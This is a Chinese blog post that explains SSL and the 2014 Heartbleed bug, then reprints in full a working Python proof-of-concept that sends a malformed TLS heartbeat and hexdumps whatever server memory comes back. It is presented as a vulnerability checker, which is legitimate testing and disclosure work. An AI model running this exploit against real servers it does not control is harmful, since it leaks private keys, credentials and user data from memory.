一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
详解Python网络爬虫功能的基本写法
Jan 28 Python
Python最火、R极具潜力 2017机器学习调查报告
Dec 11 Python
Python实现抢购IPhone手机
Feb 07 Python
python3解析库BeautifulSoup4的安装配置与基本用法
Jun 26 Python
python判断数字是否是超级素数幂
Sep 27 Python
Python调用服务接口的实例
Jan 03 Python
详解django2中关于时间处理策略
Mar 06 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 Python
详解Python中正则匹配TAB及空格的小技巧
Jul 26 Python
Django 拆分model和view的实现方法
Aug 16 Python
python flask中动态URL规则详解
Nov 22 Python
Python3直接爬取图片URL并保存示例
Dec 18 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
人大复印资料处理程序_查询篇
2006/10/09 PHP
PHPWind 发帖回帖Api PHP版打包下载
2010/02/08 PHP
PHP设计模式之模板方法模式定义与用法详解
2018/04/02 PHP
用JavaScript页面不刷新时全选择,全删除(GridView)
2009/04/14 Javascript
基于jQuery的message插件实现右下角弹出消息框
2011/01/11 Javascript
JS将制定内容复制到剪切板示例代码
2014/02/11 Javascript
学习javascript的闭包,原型,和匿名函数之旅
2015/10/18 Javascript
ionic js 模型 $ionicModal 可以遮住用户主界面的内容框
2016/06/06 Javascript
jQuery 操作input中radio的技巧
2016/07/18 Javascript
JS+jQuery实现注册信息的验证功能
2017/09/26 jQuery
解决layui数据表格排序图标被超出的表头挤出去的问题
2019/09/19 Javascript
利用JS如何获取form表单数据
2019/12/19 Javascript
[02:26]DOTA2英雄米拉娜基础教程
2013/11/25 DOTA
[03:15]DOTA2-DPC中国联赛1月22日Recap集锦
2021/03/11 DOTA
python解析中国天气网的天气数据
2014/03/21 Python
python 字典(dict)按键和值排序
2016/06/28 Python
python 实现tar文件压缩解压的实例详解
2017/08/20 Python
python实现随机调用一个浏览器打开网页
2018/04/21 Python
python爬虫租房信息在地图上显示的方法
2019/05/13 Python
详解Python 字符串相似性的几种度量方法
2019/08/29 Python
如何利用Python开发一个简单的猜数字游戏
2019/09/22 Python
复化梯形求积分实例——用Python进行数值计算
2019/11/20 Python
python统计mysql数据量变化并调用接口告警的示例代码
2020/09/21 Python
使用CSS3制作版头动画效果
2020/12/24 HTML / CSS
HTML5拖放功能_动力节点Java学院整理
2017/07/13 HTML / CSS
Electrolux伊莱克斯巴西商店:家用电器、小家电和配件
2018/05/23 全球购物
中学生期末评语
2014/02/03 职场文书
服装创业计划书范文
2014/02/05 职场文书
医院标语大全
2014/06/23 职场文书
导航工程专业自荐信
2014/09/02 职场文书
英文道歉信
2015/01/20 职场文书
婚宴邀请函
2015/01/30 职场文书
敬老院志愿者活动总结
2015/05/06 职场文书
太空授课观后感
2015/06/17 职场文书
Vue自定义铃声提示音组件的实现
2022/01/22 Vue.js
Mysql使用全文索引(FullText index)的实例代码
2022/04/03 MySQL